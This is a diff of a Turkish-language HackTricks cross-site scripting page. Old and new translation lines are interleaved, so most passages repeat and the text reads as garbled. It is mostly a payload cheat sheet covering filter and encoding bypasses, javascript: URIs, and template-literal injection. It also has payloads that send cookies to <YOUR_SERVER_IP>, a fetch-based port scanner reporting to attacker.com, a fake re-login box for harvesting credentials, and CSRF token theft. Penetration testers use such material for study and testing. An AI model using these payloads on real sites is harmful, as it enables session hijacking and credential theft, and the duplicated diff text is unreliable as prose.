HTML etiket atributlerinin değerindeki **HTML kodlanmış karakterler** **çalışma zamanında** **çözülür**. Bu nedenle aşağıdaki gibi bir şey geçerli olacaktır (yükleme bold olarak belirtilmiştir): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Geri Dön </a>`
HTML etiket özelliklerinin değerindeki **HTML kodlanmış karakterler** **çalışma zamanında çözülür**. Bu nedenle aşağıdaki gibi bir şey geçerli olacaktır (yükleme kalın yazılmıştır): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Geri Dön </a>`
**Her türlü HTML kodlaması geçerlidir**:
```javascript
@ -311,7 +311,7 @@ HTML etiket atributlerinin değerindeki **HTML kodlanmış karakterler** **çal
```
### Özel Protokoller İçinde attribute
Burada bazı yerlerde **`javascript:`** veya **`data:`** protokollerini **rastgele JS kodu çalıştırmak** için kullanabilirsiniz. Bazıları kullanıcı etkileşimi gerektirecek, bazıları ise gerektirmeyecek.
Burada bazı yerlerde **`javascript:`** veya **`data:`** protokollerini kullanarak **rastgele JS kodu çalıştırabilirsiniz**. Bazıları kullanıcı etkileşimi gerektirecek, bazıları ise gerektirmeyecek.
```javascript
javascript:alert(1)
JavaSCript:alert(1)
@ -359,7 +359,7 @@ _**Bu durumda, bir öznitelik içinde olduğunuz için önceki bölümdeki HTML
```javascript
<a href="javascript:var a='&apos;-alert(1)-&apos;'">
```
Ayrıca, bu durumlar için başka bir **güzel numara** var: **Girdiğiniz `javascript:...` URL kodlanmış olsa bile, çalıştırılmadan önce URL çözülür.** Yani, eğer **tek tırnak** kullanarak **string**'den **kaçış** yapmanız gerekiyorsa ve **URL kodlandığını** görüyorsanız, **önemli değil,** çalıştırma sırasında **tek tırnak** olarak **yorumlanacaktır.**
Ayrıca, bu durumlar için başka bir **güzel numara** var: **Girdiğiniz `javascript:...` içindeki veriler URL kodlaması yapılsa bile, çalıştırılmadan önce URL çözülmesi yapılacaktır.** Yani, eğer **tek tırnak** kullanarak **string**'den **kaçış** yapmanız gerekiyorsa ve **URL kodlaması yapıldığını** görüyorsanız, **önemli değil,** çalıştırma sırasında **tek tırnak** olarak **yorumlanacaktır.**
```javascript
&apos;-alert(1)-&apos;
%27-alert(1)-%27
@ -385,7 +385,7 @@ Not edin ki eğer **her ikisini de** `URLencode + HTMLencode` herhangi bir sıra
```javascript
<a target="_blank" rel="opener"
```
Eğer **`<a href=`** etiketine herhangi bir URL enjekte edebiliyorsanız ve bu etiket **`target="_blank" ve rel="opener"`** niteliklerini içeriyorsa, bu davranışı istismar etmek için **aşağıdaki sayfayı kontrol edin**:
Eğer herhangi bir URL'yi **`<a href=`** etiketine, **`target="_blank" ve rel="opener"`** nitelikleri ile enjekte edebiliyorsanız, bu davranışı istismar etmek için **aşağıdaki sayfayı kontrol edin**:
{% content-ref url="../reverse-tab-nabbing.md" %}
[reverse-tab-nabbing.md](../reverse-tab-nabbing.md)
@ -409,7 +409,7 @@ Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B
```
### "Sömürülemez etiketlerde" XSS (gizli girdi, bağlantı, kanonik, meta)
### XSS "Kullanılamaz etiketler" (gizli girdi, bağlantı, kanonik, meta)
[**buradan**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **gizli girdileri kötüye kullanmak artık mümkün:**
```html
@ -432,7 +432,7 @@ Ve **meta etiketlerinde**:
### Kara Liste Atlatmaları
Bu bölümde farklı kodlama kullanarak birkaç hile zaten ortaya konmuştur. **Geri dönüp nerelerde kullanabileceğinizi öğrenin:**
Bu bölümde farklı kodlama kullanarak birkaç hile zaten ortaya konmuştur. **Geri dön ve nerelerde kullanabileceğini öğren:**
* **HTML kodlama (HTML etiketleri)**
* **Unicode kodlama (geçerli JS kodu olabilir):** `\u0061lert(1)`
@ -442,11 +442,11 @@ Bu bölümde farklı kodlama kullanarak birkaç hile zaten ortaya konmuştur. **
**HTML etiketleri ve öznitelikler için atlatmalar**
[Önceki bölümün Kara Liste Atlatmalarını](./#blacklist-bypasses) okuyun.
[Önceki bölümün Kara Liste Atlatmalarını](./#blacklist-bypasses) oku.
**JavaScript kodu için atlatmalar**
[Aşağıdaki bölümün JavaScript atlatma kara listesini](./#javascript-bypass-blacklists-techniques) okuyun.
[Aşağıdaki bölümün JavaScript atlatma kara listesini](./#javascript-bypass-blacklists-techniques) oku.
### CSS-Aletleri
@ -454,7 +454,7 @@ Eğer webin çok küçük bir kısmında bir **XSS bulduysanız** ve bu bir tür
Örneğin, öğeye şu şekilde stil ekleyebilirsiniz: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
Ancak, eğer WAF stil özniteliğini filtreliyorsa, CSS Stil Aletlerini kullanabilirsiniz, bu yüzden örneğin
Ancak, eğer WAF stil özniteliğini filtreliyorsa, CSS Stil Aletlerini kullanabilirsiniz, bu yüzden eğer örneğin
> .test {display:block; color: blue; width: 100%\}
@ -462,7 +462,7 @@ ve
> \#someid {top: 0; font-family: Tahoma;}
Şimdi bağlantımızı değiştirebilir ve şu forma getirebilirsiniz
bulursanız, bağlantınızı şu forma getirebilirsiniz
> \<a href="" id=someid class=test onclick=alert() a="">
@ -493,7 +493,7 @@ Eğer `<>` temizleniyorsa, yine de **diziyi kaçırabilirsiniz** ve **keyfi JS**
**Dizgiler** oluşturmak için tek ve çift tırnakların yanı sıra JS ayrıca **ters tırnak** **` `` `** kabul eder. Bu, `${ ... }` sözdizimini kullanarak **gömülü JS ifadeleri** sağlamasına olanak tanıdığı için şablon dizgileri olarak bilinir.\
Bu nedenle, eğer girdinizin ters tırnak kullanan bir JS dizgesi içinde **yansıtıldığını** bulursanız, **keyfi JS kodu** çalıştırmak için `${ ... }` sözdizimini kötüye kullanabilirsiniz:
Bu, **kötüye kullanılabilir**:
Bu, şu şekilde **kötüye kullanılabilir**:
```javascript
`${alert(1)}`
`${`${`${`${alert(1)}`}`}`}`
@ -735,7 +735,7 @@ top[8680439..toString(30)](1)
````
## **DOM zafiyetleri**
**JS kodu**, **bir saldırgan tarafından kontrol edilen güvensiz verileri** kullanıyor, örneğin `location.href`. Bir saldırgan, bunu kullanarak rastgele JS kodu çalıştırabilir.\
**JS kodu**, **bir saldırgan tarafından kontrol edilen güvensiz verileri** kullanıyor, örneğin `location.href`. Bir saldırgan, bunu keyfi JS kodu çalıştırmak için kötüye kullanabilir.\
**Açıklamanın uzatılması nedeniyle** [**DOM zafiyetleri bu sayfaya taşındı**](dom-xss.md)**:**
{% content-ref url="dom-xss.md" %}
@ -749,17 +749,17 @@ Ayrıca, **bahsedilen yazının sonunda** [**DOM Clobbering saldırıları**](do
### Cookie XSS
Eğer bir yükü bir çerez içinde göndererek bir XSS tetikleyebiliyorsanız, bu genellikle bir self-XSS'dir. Ancak, eğer **XSS için zayıf bir alt alan adı** bulursanız, bu XSS'i kullanarak tüm alan adında bir çerez enjekte edebilir ve ana alan adında veya çerez XSS'ye karşı zayıf olan diğer alt alan adlarında çerez XSS'i tetikleyebilirsiniz. Bunun için çerez atma saldırısını kullanabilirsiniz:
Eğer bir yükü bir çerez içinde göndererek bir XSS tetikleyebiliyorsanız, bu genellikle bir self-XSS'dir. Ancak, eğer **XSS için savunmasız bir alt alan adı** bulursanız, bu XSS'i kullanarak tüm alan adında bir çerez enjekte edebilir ve ana alan adında veya çerez XSS'e savunmasız diğer alt alan adlarında çerez XSS'i tetikleyebilirsiniz. Bunun için çerez atma saldırısını kullanabilirsiniz:
{% content-ref url="../hacking-with-cookies/cookie-tossing.md" %}
[cookie-tossing.md](../hacking-with-cookies/cookie-tossing.md)
{% endcontent-ref %}
Bu tekniğin harika bir istismarını [**bu blog yazısında**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html) bulabilirsiniz.
Bu tekniğin harika bir kötüye kullanımını [**bu blog yazısında**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html) bulabilirsiniz.
### Oturumunuzu yöneticinin gönderme
### Oturumunuzu yöneticilere gönderme
Belki bir kullanıcı, profilini yönetici ile paylaşabilir ve eğer self XSS kullanıcının profilinde ise ve yönetici buna erişirse, zafiyeti tetikleyecektir.
Belki bir kullanıcı, profilini yöneticiyle paylaşabilir ve eğer self XSS kullanıcının profilindeyse ve yönetici buna erişirse, zafiyeti tetikleyecektir.
### Oturum Yansıtma
@ -771,7 +771,7 @@ Eğer bazı self XSS bulursanız ve web sayfasında **yöneticiler için oturum
### Normalleştirilmiş Unicode
**Yansıtılan değerlerin** sunucuda (veya istemci tarafında) **unicode normalleştirilip normalleştirilmediğini** kontrol edebilir ve bu işlevselliği korumaları atlatmak için istismar edebilirsiniz. [**Burada bir örnek bulun**](../unicode-injection/#xss-cross-site-scripting).
**Yansıtılan değerlerin** sunucuda (veya istemci tarafında) **unicode normalleştirilip normalleştirilmediğini** kontrol edebilir ve bu işlevselliği korumaları atlatmak için kötüye kullanabilirsiniz. [**Burada bir örnek bulun**](../unicode-injection/#xss-cross-site-scripting).
### PHP FILTER\_VALIDATE\_EMAIL bayrağı Atlatma
```javascript
@ -983,7 +983,7 @@ constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
```
Eğer **her şey tanımsızsa** güvenilmeyen kodu çalıştırmadan önce (örneğin [**bu yazıda**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)) "hiçbir şeyden" yararlı nesneler oluşturmak mümkündür ve bu, keyfi güvenilmeyen kodun çalıştırılmasını istismar etmek için kullanılabilir:
Eğer **her şey tanımsızsa** güvenilmeyen kodu çalıştırmadan önce (örneğin [**bu yazıda**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)) yararlı nesneleri "hiçbir şeyden" oluşturmak mümkündür ve bu, keyfi güvenilmeyen kodun çalıştırılmasını istismar etmek için kullanılabilir:
* import() kullanarak
```javascript
@ -1094,7 +1094,7 @@ Kullanıcının bir iframe'den çıkmadan sayfada gezinmesini sağlamak ve eylem
[iframe-traps.md](../iframe-traps.md)
{% endcontent-ref %}
### Çerezleri Alın
### Çerezleri Al
```javascript
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
@ -1179,7 +1179,7 @@ q.shift()();
}
</script>
```
### Port Tarayıcı (fetch)
### Port Scanner (fetch)
```javascript
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
```
@ -1202,7 +1202,7 @@ _Kısa süreler yanıt veren bir portu gösterir_ _Uzun süreler yanıt yok deme
Chrome'da yasaklanan portlar listesini [**buradan**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net\_util.cc) ve Firefox'ta [**buradan**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist) gözden geçirin.
### Kimlik bilgileri istemek için kutu
### Kimlik bilgilerini istemek için kutu
```markup
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
```
@ -1228,7 +1228,7 @@ Sadece github'da arama yaparak birkaç farklı tane buldum:
* [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger)
* Ayrıca metasploit `http_javascript_keylogger` kullanabilirsiniz.
### CSRF token'larını çalmak
### CSRF tokenlarını çalmak
```javascript
<script>
var req = new XMLHttpRequest();
@ -1330,7 +1330,7 @@ console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightCo
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt" %}
## XSS Diğer zafiyetleri istismar etme
## XSS Diğer ıkları Kötüye Kullanma
### Markdown'da XSS
@ -1340,7 +1340,7 @@ Render edilecek Markdown kodu enjekte edebilir misiniz? Belki XSS elde edebilirs
[xss-in-markdown.md](xss-in-markdown.md)
{% endcontent-ref %}
### XSS ile SSRF
### XSS'den SSRF'ye
**Önbellek kullanan bir sitede XSS elde ettiniz mi?** Bu yük ile Edge Side Include Injection aracılığıyla **bunu SSRF'ye yükseltmeyi** deneyin:
```python
@ -1351,7 +1351,7 @@ Bu teknik hakkında daha fazla bilgi burada: [**XSLT**](../xslt-server-side-inje
### Dinamik oluşturulan PDF'de XSS
Eğer bir web sayfası kullanıcı kontrolündeki girdileri kullanarak bir PDF oluşturuyorsa, PDF'yi oluşturan **botu kandırmayı** deneyebilirsiniz ve **keyfi JS kodu çalıştırmasını** sağlayabilirsiniz.\
Eğer bir web sayfası kullanıcı kontrolündeki girdileri kullanarak bir PDF oluşturuyorsa, PDF'yi oluşturan **botu** **rastgele JS kodu çalıştırmaya** **kandırmayı** deneyebilirsiniz.\
Yani, eğer **PDF oluşturucu bot** bazı **HTML** **etiketleri** bulursa, bunları **yorumlayacak** ve bu davranışı **istismar** ederek bir **Sunucu XSS** oluşturabilirsiniz.
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
@ -1366,7 +1366,7 @@ Eğer HTML etiketlerini enjekte edemiyorsanız, **PDF verisi enjekte etmeyi** de
### Amp4Email'de XSS
AMP, mobil cihazlarda web sayfası performansını hızlandırmayı amaçlayarak, hız ve güvenliğe vurgu yaparak işlevselliği sağlamak için JavaScript ile desteklenen HTML etiketlerini içerir. Çeşitli özellikler için bir dizi bileşeni destekler ve bunlara [AMP bileşenleri](https://amp.dev/documentation/components/?format=websites) aracılığıyla erişilebilir.
AMP, mobil cihazlarda web sayfası performansını hızlandırmayı amaçlayarak, hız ve güvenliğe vurgu yaparak işlevselliği sağlamak için JavaScript ile desteklenmiş HTML etiketlerini içerir. Çeşitli özellikler için bir dizi bileşeni destekler ve bunlara [AMP bileşenleri](https://amp.dev/documentation/components/?format=websites) aracılığıyla erişilebilir.
[**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) formatı, belirli AMP bileşenlerini e-postalara genişleterek alıcıların içerikle doğrudan e-postaları içinde etkileşimde bulunmalarını sağlar.
@ -1430,9 +1430,9 @@ id="foo"/>
```xml
<svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />
```
Find **daha fazla SVG yüklemesi için** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
Find **more SVG payloads in** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
## Çeşitli JS Hileleri ve İlgili Bilgiler
## Misc JS Tricks & Relevant Info
{% content-ref url="other-js-tricks.md" %}
[other-js-tricks.md](other-js-tricks.md)
@ -1448,21 +1448,21 @@ Find **daha fazla SVG yüklemesi için** [**https://github.com/allanlw/svg-cheat
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking kariyeri** and hack the unhackable - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
<summary>Support HackTricks</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi takip edin** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking hilelerini paylaşın,** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR göndererek.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}